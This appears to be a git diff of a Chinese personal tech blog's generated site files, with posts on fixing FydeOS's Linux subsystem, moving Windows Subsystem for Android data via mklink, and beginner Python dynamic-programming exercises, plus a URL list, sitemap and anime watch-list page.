不过这个Android有一个缺点:不能root,我正在寻找root的方式不过这肯定要很久,或许我会找不到。本来我想试试在Windows下用DiskGenius把boot.img直接提取出来修补的,但是FydeOS的目录结构非常奇怪,我是真的没有找到,慢慢来吧……

安装Linux子系统出现问题

在开启Linux虚拟机的时候提示安装Linux时出错 - 启动虚拟机时出错,请重试;打开Linux终端提示Error starting penguin container: 5 Launching vmshell failed: Error starting crostini for terminal: 5

可以通过查看/var/log/messages这个文件来看看问题出在哪,先Ctrl + Shift + T打开Crosh(ChromeOS的终端入口),然后输入shell打开终端,接着输入sudo su进入root用户才能看到

我这里看到的日志如下(节选了报错部分)

1
2
3
4
5
6
7
2022-12-20T04:42:38.583489Z INFO vm_concierge[3233]: Preallocating user-chosen-size raw disk image
2022-12-20T04:42:38.584372Z INFO kernel: [ 396.631888] EXT4-fs (dm-1): mounted filesystem without journal. Opts:
2022-12-20T04:42:38.606690Z INFO vm_concierge[3233]: Disk image preallocated
2022-12-20T04:42:38.610554Z INFO vm_concierge[3233]: Received StartVm request
2022-12-20T04:42:38.610606Z ERR vm_concierge[3233]: Missing VM kernel path: /run/imageloader/cros-termina/99999.0.0/vm_kernel
2022-12-20T04:43:09.578102Z NOTICE temp_logger[16903]: INT3400_Thermal:20C B0D4:93C GEN4:39C GEN5:37C pch_skylake:52C x86_pkg_temp:91C PL1:30.000W
2022-12-20T04:43:35.275342Z WARNING session_manager[1287]: WARNING session_manager: [device_identifier_generator.cc(228)] No device identifiers available, no state keys generated

这里很明显了是缺少kernel文件,在官方论坛问了一圈,官方回复如下

1
请检查 /usr/local/tatl-fydeos/ 目录是否存在,其中应该有 vm_kernel, vm_rootfs.img 等文件。 如果目录不存在或者文件缺失的话,需要在 shell 中以 root 身份执行 /usr/bin/stateful_update_wrapper.sh recover 把 stateful 分区恢复一下,重启后再重试安装 linux 子系统。

然后我去检查,果然没有这个目录,根据他给的方法恢复一下,可以用了

这里有个坑就是它恢复的时候会下载资源文件,这个资源文件的下载链接是AWS3的,建议挂个梯子下,要不然慢得很


总结

Surface Pro 5毕竟是一台几年前的本子了,论性能肯定比不上现在的电脑,但是它带给我的使用体验是非常棒的,比我之前那台YOGA要好得多(轻薄、便携),而且3:2的屏幕确实适合工作(这里表扬一下拯救者系列,我的戴尔游侠就是16:9),可能缺点就是在性能上,还有就是Linux的适配上面了。该说不愧是微软亲儿子嘛,微软做工确实牛

]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + + + + + + + + + + + + + +
+ + + 移动你的WSA数据盘,让你的C盘不再爆满 + + https://bili33.top/posts/Move-your-wsa-data/ + 2022-11-24T05:09:57.000Z + 2023-07-28T09:54:40.040Z + +

WSA确实是个很好用的东西,毕竟能够直接跑上安卓系统,不用忍受模拟器那种广告,很方便

但是同样也带来了一些问题就是:你的C盘会爆满

这主要是因为WSA的数据盘都放在了C:\Users\%username%\AppData\Local\Packages\MicrosoftCorporationII.WindowsSubsystemForAndroid_8wekyb3d8bbwe\LocalCache\这个目录下,我的数据盘经过我的半年使用已经到了34.3GB了,然后就导致了我的C盘像上面那张图那样要炸了

我记得Linux里面有ln命令可以创建文件链接,然后Windows有个叫做mklink的(仅cmd可用,powershell没有,我踩了这个坑),之前为了让Epic和Steam的GTA5都可用还用过来着,这不用这个方法把数据移到其他硬盘里

我把文件放在了D:\WSA-data这个文件夹里,连着C:\Users\%username%\AppData\Local\Packages\MicrosoftCorporationII.WindowsSubsystemForAndroid_8wekyb3d8bbwe\LocalCache\LocalCache文件夹整个放进去

然后按Windows + X,选择Windows 终端(管理员)(选择powershell或者cmd都行,但是一定要有管理员权限

然后打入下面这行命令(记得把后面的那个路径改成你自己的)

1
mklink /J "C:\Users\GamerNoTitle\AppData\Local\Packages\MicrosoftCorporationII.WindowsSubsystemForAndroid_8wekyb3d8bbwe\LocalCache" "D:\WSA-data\LocalCache"

然后我们的文件链接就创建成功了,打开WSA,一切正常!

]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + + + +
+ + + 从零开始的Python ACM Ch.9:动态规划 + + https://bili33.top/posts/Go-for-Python-Ch9/ + 2022-11-15T11:48:27.000Z + 2023-07-28T09:54:40.040Z + +

例题:跳台阶

假设你正在爬楼梯。需要 n 阶你才能到达楼顶。

每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢?

  • 示例 1

输入:n = 2 输出:2

解释:有两种方法可以爬到楼顶。

  1. 1 阶 + 1 阶

  2. 2 阶

  • 示例 2:

输入:n = 3 输出:3

解释:有三种方法可以爬到楼顶。

  1. 1 阶 + 1 阶 + 1 阶

  2. 1 阶 + 2 阶

  3. 2 阶 + 1 阶

1 <= n <= 45

题解(递归法)

解释:一个stepsn的问题可以看做是stepsn-1stepsn-2的步骤和

1
2
3
4
5
6
7
8
steps = int(input('Steps: '))   # 台阶数

def degrade(steps):
if steps == 1: return 1
if steps == 2: return 2
return degrade(steps - 1) + degrade(steps - 2)

print(degrade(steps))

这个方法可以发现,当输入steps10时,degrade(9)计算了1次,degrade(8)计算了2次(degrade(9)里面一次,自身一次),再往下发现越往下计算的次数越多,如果计算式子很复杂会消耗更多的时间

所以有一个优化的方式,就是把已经算过的值丢到一个新的变量里面存起来,如果计算过就不用计算了(缓存优化)

1
2
3
4
5
6
7
8
9
10
11
steps = int(input('Steps: '))   # 台阶数
memory = [-1] * 10000000

def degrade(steps):
if steps == 1: return 1
if steps == 2: return 2
if memory[steps] >= 0: return memory[steps]
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
return memory[steps]

print(degrade(steps))

或者使用字典来存储

1
2
3
4
5
6
7
8
9
10
11
steps = int(input('Steps: '))   # 台阶数
memory = {}

def degrade(steps):
if steps == 1: return 1
if steps == 2: return 2
if steps in memory: return memory[steps]
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
return memory[steps]

print(degrade(steps))

递归问题

步骤只有两步:

  • 分解(分解为规模较小的相似问题)
  • 原子问题(可以由问题分解推出,这里就是i=1i=2的情况)

很多DP算法都能够用递归解决,因为这个比DP简单,所以先在这里列出来。

递归会占用系统资源,而且递归一定会比循环更慢一些(尽管你用了缓存优化),当递归数过高时会超过Python的最大深度,引起RecursionError然后就……像下面这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Steps: 10000
Traceback (most recent call last):
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_trace_dispatch_regular.py", line 359, in __call__
is_stepping = pydev_step_cmd != -1
RecursionError: maximum recursion depth exceeded in comparison

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\runpy.py", line 196, in _run_module_as_main
return _run_code(code, main_globals, None,
File "C:\Users\GamerNoTitle\AppData\Local\Programs\Python\Python310\lib\runpy.py", line 86, in _run_code
exec(code, run_globals)
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\__main__.py", line 39, in <module>
cli.main()
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy/..\debugpy\server\cli.py", line 430, in main
run()
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy/..\debugpy\server\cli.py", line 284, in run_file
runpy.run_path(target, run_name="__main__")
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 321, in run_path
return _run_module_code(code, init_globals, run_name,
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 135, in _run_module_code
_run_code(code, mod_globals, init_globals,
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 124, in _run_code
exec(code, run_globals)
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 11, in <module>
print(degrade(steps))
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 8, in degrade
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 8, in degrade
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 8, in degrade
memory[steps] = degrade(steps - 1) + degrade(steps - 2)
[Previous line repeated 983 more times]
File "c:\Users\GamerNoTitle\Desktop\Untitled.py", line 4, in degrade
def degrade(steps):
File "c:\Users\GamerNoTitle\.vscode\extensions\ms-python.python-2022.18.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_trace_dispatch_regular.py", line 469, in __call__
return None if event == 'call' else NO_FTRACE
RecursionError: maximum recursion depth exceeded in comparison

DP算法

核心问题

  • 合成问题
  • 初始状态(就是i=1i=2的状态)
  • 计算后续状态

DP算法求解

还是上面那个跳台阶问题

1
2
3
4
5
6
7
8
9
10
11
steps = int(input('Steps: '))   # 台阶数

def degrade(steps):
result = [0] * (steps + 1)
result[1], result[2] = 1, 2
for i in range(3, steps+1):
result[i] = result[i-1] + result[i-2]
return result[steps]

print(degrade(steps))

输出

1
2
Steps: 10000
54438373113565281338734260993750380135389184554695967026247715841208582865622349017083051547938960541173822675978026317384359584751116241439174702642959169925586334117906063048089793531476108466259072759367899150677960088306597966641965824937721800381441158841042480997984696487375337180028163763317781927941101369262750979509800713596718023814710669912644214775254478587674568963808002962265133111359929762726679441400101575800043510777465935805362502461707918059226414679005690752321895868142367849593880756423483754386342639635970733756260098962462668746112041739819404875062443709868654315626847186195620146126642232711815040367018825205314845875817193533529827837800351902529239517836689467661917953884712441028463935449484614450778762529520961887597272889220768537396475869543159172434537193611263743926337313005896167248051737986306368115003088396749587102619524631352447499505204198305187168321623283859794627245919771454628218399695789223798912199431775469705216131081096559950638297261253848242007897109054754028438149611930465061866170122983288964352733750792786069444761853525144421077928045979904561298129423809156055033032338919609162236698759922782923191896688017718575555520994653320128446502371153715141749290913104897203455577507196645425232862022019506091483585223882711016708433051169942115775151255510251655931888164048344129557038825477521111577395780115868397072602565614824956460538700280331311861485399805397031555727529693399586079850381581446276433858828529535803424850845426446471681531001533180479567436396815653326152509571127480411928196022148849148284389124178520174507305538928717857923509417743383331506898239354421988805429332440371194867215543576548565499134519271098919802665184564927827827212957649240235507595558205647569365394873317659000206373126570643509709482649710038733517477713403319028105575667931789470024118803094604034362953471997461392274791549730356412633074230824051999996101549784667340458326852960388301120765629245998136251652347093963049734046445106365304163630823669242257761468288461791843224793434406079917883360676846711185597501

DP与递归的区别

DP是正着算,递归是反着算,仅此而已,思考问题的思路不同。

例题:网络路径数

一个机器人位于一个 m x n 网格的左上角 。

机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角。

问总共有多少条不同的路径?

  • 示例 1

输入:m = 3, n = 7 输出:28

  • 示例 2

输入:m =3, n = 2 输出:3 解释:从左上角开始,总共有 3 条路径可以到达右下角。

  1. 向右 -> 向下 -> 向下

  2. 向下 -> 向下 -> 向右

  3. 向下 -> 向右 -> 向下

  • 示例 3

输入:m =7, n = 3

输出:28

  • 示例 4

输入:m = 3, n = 3

输出:6

题解(递归法)

1
2
3
def pathcount(m, n):
if m == 1 or n == 1: return 1
return pathcount(m-1, n) + pathcount(m, n-1)

题解(DP法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def pathcount(m, n):
ls = [[0 for _ in range(n+1)] for __ in range(m+1)]
ls[1][1] = 0
for i in range(1, len(ls[1])):# 初始化状态初值
ls[1][i] = 1
for i in range(1, len(ls)):
ls[i][1] = 1
ls[1][2] = 1
ls[2][1] = 1
for b in range(2, m+1): # b是行
for a in range(2, n+1): # a是列
ls[b][a] = ls[b-1][a] + ls[b][a-1]
print(ls)
return ls[m][n]
]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + + + +
+ + + 从零开始的Python ACM Ch.8:综合题目 + + https://bili33.top/posts/Go-for-Python-Ch8/ + 2022-11-12T00:19:26.000Z + 2023-07-28T09:54:40.040Z + +

数据加密

一个公司对于一个四位数的整型数字的加密方式为:每位数位上的数字+5后除以十得到余数,将各数位上的余数按照第一位与第四位、第二位与第三位的顺序进行交换,得到最终结果

1
2
3
4
5
6
7
8
9
10
11
message = input('num: ')

message = [message[0], message[1], message[2], message[3]]
for i in range(0, len(message)):
message[i] = int(message[i]) + 5 % 10
message[0], message[1], message[2], message[3] = message[3], message[2], message[1], message[0]
result = ''
for i in message:
result += str(i)
print(result)

双色球

用程序模拟双色球开奖过程,红色球范围为133,蓝色球范围为116,红色球有6个且数字不能重复,蓝色球只有1个。

输出格式为:红色球:x x x x x x 蓝色球:x

1
2
3
4
5
6
7
8
9
10
11
12
13
import random

reds = set()
blue = -1
while len(reds) < 6:
reds.add(random.randint(1,33))

blue = random.randint(1,16)

print('红色球:', end='')
for i in reds:
print(i, end=' ')
print(f'蓝色球:{blue}')
]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + +
+ + diff --git a/baidu_urls.txt b/baidu_urls.txt new file mode 100644 index 0000000000..7708715b15 --- /dev/null +++ b/baidu_urls.txt @@ -0,0 +1,95 @@ +https://bili33.top/posts/Why-I-Choose-to-Repeat-High-School/ +https://bili33.top/posts/Why-I-return-to-Valine/ +https://bili33.top/posts/Access-WSL-through-Windows/ +https://bili33.top/posts/BeatSaber-Noob/ +https://bili33.top/posts/Valorant-Shop-with-API/ +https://bili33.top/posts/Make-Synology-NAS-to-BT-Downloader/ +https://bili33.top/posts/Install-black-synology-NAS-on-previous-PC/ +https://bili33.top/posts/My-Office365-is-Down/ +https://bili33.top/posts/Update-Python-on-my-server/ +https://bili33.top/posts/Use-telegram-with-pagermaid/ +https://bili33.top/posts/Full-use-of-replit/ +https://bili33.top/posts/Stable-diffusion-webui-discovery/ +https://bili33.top/posts/Migrate-jsdelivr-mirror-to-Gcore/ +https://bili33.top/posts/Deploy-biliroaming-typescript-server-with-vercel/ +https://bili33.top/posts/Fight-against-COVID19/ +https://bili33.top/posts/Deploy-biliroaming-go-server-with-flyio/ +https://bili33.top/posts/Enchance-my-Surface-Pro-5/ +https://bili33.top/posts/Move-your-wsa-data/ +https://bili33.top/posts/Go-for-Python-Ch9/ +https://bili33.top/posts/Go-for-Python-Ch8/ +https://bili33.top/posts/Go-for-Python-Ch7/ +https://bili33.top/posts/Go-for-Python-Ch6/ +https://bili33.top/posts/Go-for-Python-Ch5/ +https://bili33.top/posts/Go-for-Python-Ch4/ +https://bili33.top/posts/Go-for-Python-Ch3/ +https://bili33.top/posts/Go-for-Python-Ch2/ +https://bili33.top/posts/Go-for-Python-Ch1/ +https://bili33.top/posts/Making-GUI-with-PyQt5/ +https://bili33.top/posts/Raspberry-4B-Log/ +https://bili33.top/posts/CTF-20220826-wangdingcup-qinglong/ +https://bili33.top/posts/Ticwatch-pro-3-experience/ +https://bili33.top/posts/diary10/ +https://bili33.top/posts/vercel-reverse-proxy/ +https://bili33.top/posts/CSGO-Anti-LowViolence/ +https://bili33.top/posts/SteamAutoQueue-Manual/ +https://bili33.top/posts/CTF-in-College-7/ +https://bili33.top/posts/CTF-20220619/ +https://bili33.top/posts/CTF-in-College-6/ +https://bili33.top/posts/Why-my-sudo-is-so-slow/ +https://bili33.top/posts/CTF-in-College-5/ +https://bili33.top/posts/Custom-Wechat-Pusher/ +https://bili33.top/posts/Install-apk-on-HUAWEI-Watch-Pro-3/ +https://bili33.top/posts/CTF-in-College-4/ +https://bili33.top/posts/CTF-20220529/ +https://bili33.top/posts/CTF-in-College-3/ +https://bili33.top/posts/Teamspeak-Server/ +https://bili33.top/posts/biliRoaming/ +https://bili33.top/posts/MHYY-AutoCheckin-Manual/ +https://bili33.top/posts/API-FLASK/ +https://bili33.top/posts/CTF-in-College-2/ +https://bili33.top/posts/lanqiao-2022-province/ +https://bili33.top/posts/CTF-in-College-1/ +https://bili33.top/posts/NeteaseMusicDownload/ +https://bili33.top/posts/MATLAB20211125/ +https://bili33.top/posts/MATLAB20211126/ +https://bili33.top/posts/Pycharm-Unlimited-Evaluate/ +https://bili33.top/posts/ID-History/ +https://bili33.top/posts/INVAXION-Unlock-Log/ +https://bili33.top/posts/301Redirect/ +https://bili33.top/posts/diary6/ +https://bili33.top/posts/diary9/ +https://bili33.top/posts/NeteaseCloudGameFree/ +https://bili33.top/posts/diary8/ +https://bili33.top/posts/Steam-Artwork/ +https://bili33.top/posts/diary7/ +https://bili33.top/posts/MCDR-Mirror-Server-Usage/ +https://bili33.top/posts/MCDR-Usage/ +https://bili33.top/posts/Office365-Renew-Project/ +https://bili33.top/posts/Valine-Customize/ +https://bili33.top/posts/Valine-Magic/ +https://bili33.top/posts/Github-Basic/ +https://bili33.top/posts/CSGO-Server/ +https://bili33.top/posts/butterfly-customize/ +https://bili33.top/posts/Valine-Admin/ +https://bili33.top/posts/diary5/ +https://bili33.top/posts/Windows10-Beautify/ +https://bili33.top/posts/Netease-Comment-Spider/ +https://bili33.top/posts/Hitokoto-Spider/ +https://bili33.top/posts/FODI/ +https://bili33.top/posts/jsDelivr-Usage/ +https://bili33.top/posts/diary4/ +https://bili33.top/posts/diary3/ +https://bili33.top/posts/Unblock163Music/ +https://bili33.top/posts/Cloudflare-Workers-Section2/ +https://bili33.top/posts/diary2/ +https://bili33.top/posts/diary1/ +https://bili33.top/posts/CloudFlare-Workers-Section1/ +https://bili33.top/posts/CloudFlare-Workers/ +https://bili33.top/posts/Pixiv-Nginx/ +https://bili33.top/posts/srs/ +https://bili33.top/posts/hexo-deploy-guide/ +https://bili33.top/posts/Office365/ +https://bili33.top/posts/BaiduNetDisk-Limit-Break/ +https://bili33.top/posts/Windows-Setup/ +https://bili33.top/posts/cmder/ \ No newline at end of file diff --git a/baidusitemap.xml b/baidusitemap.xml new file mode 100644 index 0000000000..cec5619eb8 --- /dev/null +++ b/baidusitemap.xml @@ -0,0 +1,383 @@ + + + + https://bili33.top/posts/Teamspeak-Server/ + 2023-07-28 + + + https://bili33.top/posts/Ticwatch-pro-3-experience/ + 2023-07-28 + + + https://bili33.top/posts/Unblock163Music/ + 2023-07-28 + + + https://bili33.top/posts/Update-Python-on-my-server/ + 2023-07-28 + + + https://bili33.top/posts/Use-telegram-with-pagermaid/ + 2023-07-28 + + + https://bili33.top/posts/Valine-Admin/ + 2023-07-28 + + + https://bili33.top/posts/Valine-Customize/ + 2023-07-28 + + + https://bili33.top/posts/Valine-Magic/ + 2023-07-28 + + + https://bili33.top/posts/Valorant-Shop-with-API/ + 2023-07-28 + + + https://bili33.top/posts/Why-I-Choose-to-Repeat-High-School/ + 2023-07-28 + + + https://bili33.top/posts/Why-I-return-to-Valine/ + 2023-07-28 + + + https://bili33.top/posts/Why-my-sudo-is-so-slow/ + 2023-07-28 + + + https://bili33.top/posts/Windows-Setup/ + 2023-07-28 + + + https://bili33.top/posts/Windows10-Beautify/ + 2023-07-28 + + + https://bili33.top/posts/biliRoaming/ + 2023-07-28 + + + https://bili33.top/posts/butterfly-customize/ + 2023-07-28 + + + https://bili33.top/posts/cmder/ + 2023-07-28 + + + https://bili33.top/posts/diary1/ + 2023-07-28 + + + https://bili33.top/posts/diary10/ + 2023-07-28 + + + https://bili33.top/posts/diary2/ + 2023-07-28 + + + https://bili33.top/posts/diary3/ + 2023-07-28 + + + https://bili33.top/posts/diary4/ + 2023-07-28 + + + https://bili33.top/posts/diary5/ + 2023-07-28 + + + https://bili33.top/posts/diary6/ + 2023-07-28 + + + https://bili33.top/posts/hexo-deploy-guide/ + 2023-07-28 + + + https://bili33.top/posts/jsDelivr-Usage/ + 2023-07-28 + + + https://bili33.top/posts/lanqiao-2022-province/ + 2023-07-28 + + + https://bili33.top/posts/srs/ + 2023-07-28 + + + https://bili33.top/posts/vercel-reverse-proxy/ + 2023-07-28 + + + https://bili33.top/posts/diary7/ + 2023-07-28 + + + https://bili33.top/posts/diary8/ + 2023-07-28 + + + https://bili33.top/posts/diary9/ + 2023-07-28 + + + https://bili33.top/posts/CTF-in-College-4/ + 2023-07-28 + + + https://bili33.top/posts/CTF-in-College-5/ + 2023-07-28 + + + https://bili33.top/posts/CTF-in-College-6/ + 2023-07-28 + + + https://bili33.top/posts/CTF-in-College-7/ + 2023-07-28 + + + https://bili33.top/posts/CloudFlare-Workers-Section1/ + 2023-07-28 + + + https://bili33.top/posts/CloudFlare-Workers/ + 2023-07-28 + + + https://bili33.top/posts/Cloudflare-Workers-Section2/ + 2023-07-28 + + + https://bili33.top/posts/Custom-Wechat-Pusher/ + 2023-07-28 + + + https://bili33.top/posts/Deploy-biliroaming-go-server-with-flyio/ + 2023-07-28 + + + https://bili33.top/posts/Deploy-biliroaming-typescript-server-with-vercel/ + 2023-07-28 + + + https://bili33.top/posts/Enchance-my-Surface-Pro-5/ + 2023-07-28 + + + https://bili33.top/posts/FODI/ + 2023-07-28 + + + https://bili33.top/posts/Fight-against-COVID19/ + 2023-07-28 + + + https://bili33.top/posts/Full-use-of-replit/ + 2023-07-28 + + + https://bili33.top/posts/Github-Basic/ + 2023-07-28 + + + https://bili33.top/posts/Go-for-Python-Ch1/ + 2023-07-28 + + + https://bili33.top/posts/Go-for-Python-Ch2/ + 2023-07-28 + + + https://bili33.top/posts/Go-for-Python-Ch3/ + 2023-07-28 + + + https://bili33.top/posts/Go-for-Python-Ch4/ + 2023-07-28 + + + https://bili33.top/posts/Go-for-Python-Ch5/ + 2023-07-28 + + + https://bili33.top/posts/Go-for-Python-Ch6/ + 2023-07-28 + + + https://bili33.top/posts/Go-for-Python-Ch7/ + 2023-07-28 + + + https://bili33.top/posts/Go-for-Python-Ch8/ + 2023-07-28 + + + https://bili33.top/posts/Go-for-Python-Ch9/ + 2023-07-28 + + + https://bili33.top/posts/Hitokoto-Spider/ + 2023-07-28 + + + https://bili33.top/posts/ID-History/ + 2023-07-28 + + + https://bili33.top/posts/INVAXION-Unlock-Log/ + 2023-07-28 + + + https://bili33.top/posts/Install-apk-on-HUAWEI-Watch-Pro-3/ + 2023-07-28 + + + https://bili33.top/posts/Install-black-synology-NAS-on-previous-PC/ + 2023-07-28 + + + https://bili33.top/posts/MATLAB20211125/ + 2023-07-28 + + + https://bili33.top/posts/MATLAB20211126/ + 2023-07-28 + + + https://bili33.top/posts/MCDR-Mirror-Server-Usage/ + 2023-07-28 + + + https://bili33.top/posts/MCDR-Usage/ + 2023-07-28 + + + https://bili33.top/posts/MHYY-AutoCheckin-Manual/ + 2023-07-28 + + + https://bili33.top/posts/Make-Synology-NAS-to-BT-Downloader/ + 2023-07-28 + + + https://bili33.top/posts/Making-GUI-with-PyQt5/ + 2023-07-28 + + + https://bili33.top/posts/Migrate-jsdelivr-mirror-to-Gcore/ + 2023-07-28 + + + https://bili33.top/posts/Move-your-wsa-data/ + 2023-07-28 + + + https://bili33.top/posts/My-Office365-is-Down/ + 2023-07-28 + + + https://bili33.top/posts/Netease-Comment-Spider/ + 2023-07-28 + + + https://bili33.top/posts/NeteaseCloudGameFree/ + 2023-07-28 + + + https://bili33.top/posts/NeteaseMusicDownload/ + 2023-07-28 + + + https://bili33.top/posts/Office365-Renew-Project/ + 2023-07-28 + + + https://bili33.top/posts/Office365/ + 2023-07-28 + + + https://bili33.top/posts/Pixiv-Nginx/ + 2023-07-28 + + + https://bili33.top/posts/Pycharm-Unlimited-Evaluate/ + 2023-07-28 + + + https://bili33.top/posts/Raspberry-4B-Log/ + 2023-07-28 + + + https://bili33.top/posts/Stable-diffusion-webui-discovery/ + 2023-07-28 + + + https://bili33.top/posts/Steam-Artwork/ + 2023-07-28 + + + https://bili33.top/posts/SteamAutoQueue-Manual/ + 2023-07-28 + + + https://bili33.top/posts/301Redirect/ + 2023-07-28 + + + https://bili33.top/posts/API-FLASK/ + 2023-07-28 + + + https://bili33.top/posts/Access-WSL-through-Windows/ + 2023-07-28 + + + https://bili33.top/posts/BaiduNetDisk-Limit-Break/ + 2023-07-28 + + + https://bili33.top/posts/BeatSaber-Noob/ + 2023-07-28 + + + https://bili33.top/posts/CSGO-Anti-LowViolence/ + 2023-07-28 + + + https://bili33.top/posts/CSGO-Server/ + 2023-07-28 + + + https://bili33.top/posts/CTF-20220529/ + 2023-07-28 + + + https://bili33.top/posts/CTF-20220619/ + 2023-07-28 + + + https://bili33.top/posts/CTF-20220826-wangdingcup-qinglong/ + 2023-07-28 + + + https://bili33.top/posts/CTF-in-College-1/ + 2023-07-28 + + + https://bili33.top/posts/CTF-in-College-2/ + 2023-07-28 + + + https://bili33.top/posts/CTF-in-College-3/ + 2023-07-28 + + \ No newline at end of file diff --git a/bangumis/index.html b/bangumis/index.html new file mode 100644 index 0000000000..f1901353a5 --- /dev/null +++ b/bangumis/index.html @@ -0,0 +1,25640 @@ +追番列表 | GamerNoTitle + + + + + + + + + + + +
+
+

TECH OTAKUS SAVE THE WORLD —— MiHoYo

+
+ + + + +
+
+ + +
+ top + prev + 2 / 3 + next + end +
+ +
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 国创 中国大陆 + + + + 总播放 3.6 亿 + + + 追番人数 804.2 万 + + + 硬币数 351.8 万 + + + 弹幕总数 335.2 万 + + + 评分 9.8 + + +
+

简介:【第二季第2-4集大会员抢先1集,第5集起大会员专享】为了找到一系列罪案的操纵者,程小时求助于肖力,找寻一切藏匿于暗中的蛛丝马迹。但是拥有未知超能力的凶手在阴影之中,也从没有停止过阴谋的脚步。神秘能力...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 2390.7 万 + + + 追番人数 295.5 万 + + + 硬币数 6.4 万 + + + 弹幕总数 9.6 万 + + + 评分 7.5 + + +
+

简介:真奥贞夫和游佐惠美,既是在异世界安特·伊苏拉互为仇敌的魔王和勇者,同时也是在现代的日本东京每天辛勤劳动的工作者。 +两人和魔王城的成员,以及陷入爱河的女高中生千穗等人,一起享受着日本的生活,同时也在经济...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 49.0 万 + + + 追番人数 4.0 万 + + + 硬币数 2202 + + + 弹幕总数 7168 + + + 评分 - + + +
+

简介:陽炎宮·共同生活的規則:七個人共同生活、外出的時候要認真的玩、用一切手段打倒我。 +  各國展開間諜“影之戰爭”的世界。任務成功率100%,但是性格有困難的精明間諜·克勞斯,創立了挑戰死亡率超過九成的“...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 118.0 万 + + + 追番人数 27.0 万 + + + 硬币数 9078 + + + 弹幕总数 7229 + + + 评分 - + + +
+

简介:某所教会。里面住着可爱但爱偷懒的圣女大人, +以及认真诚实,爱过度保护,又擅长做饭的牧师先生。 +在安宁的每一天里,心怀暗恋的圣女和迟钝的牧师 +展开了“无意识的亲密恋爱喜剧”。 +令人焦急的二人,他们的关系...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 347.8 万 + + + 追番人数 8.5 万 + + + 硬币数 2.3 万 + + + 弹幕总数 7.9 万 + + + 评分 - + + +
+

简介:在星元 122 年 ――眾多企業擴展到宇宙並構築巨大經濟圈的時代,有一名少女自邊境地區・水星轉來 MS 產業的最大企業「貝納里特集團」旗下所經營的「阿斯提卡西亞高等專門學園」。她名為蘇萊塔・墨丘利。內...

+
+
+ + +
+
+
+
+ +
+ + + + 全16话0 + + + + + 番剧 日本 + + + + 总播放 1947.3 万 + + + 追番人数 552.2 万 + + + 硬币数 11.2 万 + + + 弹幕总数 16.0 万 + + + 评分 9.4 + + +
+

简介:“一人无法成形,因而起誓二人相爱” +一对新婚夫妻经历了命运般的邂逅、求婚、在破公寓过新婚生活、买结婚戒指、问候父母,他们在公寓被烧毁后也不气馁,在昭和年代的房子中加深爱意……丈夫名叫由崎星空(NASA...

+
+
+ + +
+
+
+
+ +
+ + + + 全16话0 + + + + + 番剧 日本 + + + + 总播放 81.6 万 + + + 追番人数 3.8 万 + + + 硬币数 6097 + + + 弹幕总数 8151 + + + 评分 - + + +
+

简介:從命運般的相遇開始的求婚、破公寓的新婚生活、結婚戒指、向父母打招呼,之後公寓被燒毀也沒氣餒,在昭和房屋裡加深愛的新婚夫婦兩人……丈夫的名字是由崎星空(NASA),妻子的名字是司。和可愛新娘充滿心跳與興...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 国创 中国大陆 + + + + 总播放 401.8 万 + + + 追番人数 146.0 万 + + + 硬币数 1.9 万 + + + 弹幕总数 2.0 万 + + + 评分 9.4 + + +
+

简介:讲述了小绿和小蓝分别化身成为了魔王小绿和骑士团团长小蓝,在一次次的对战日常中两人逐渐解除对立的人类世界与魔王世界之间的隔阂,敞开心扉了解彼此,走上冒险之旅的暖心故事。...

+
+
+ + +
+
+
+
+ +
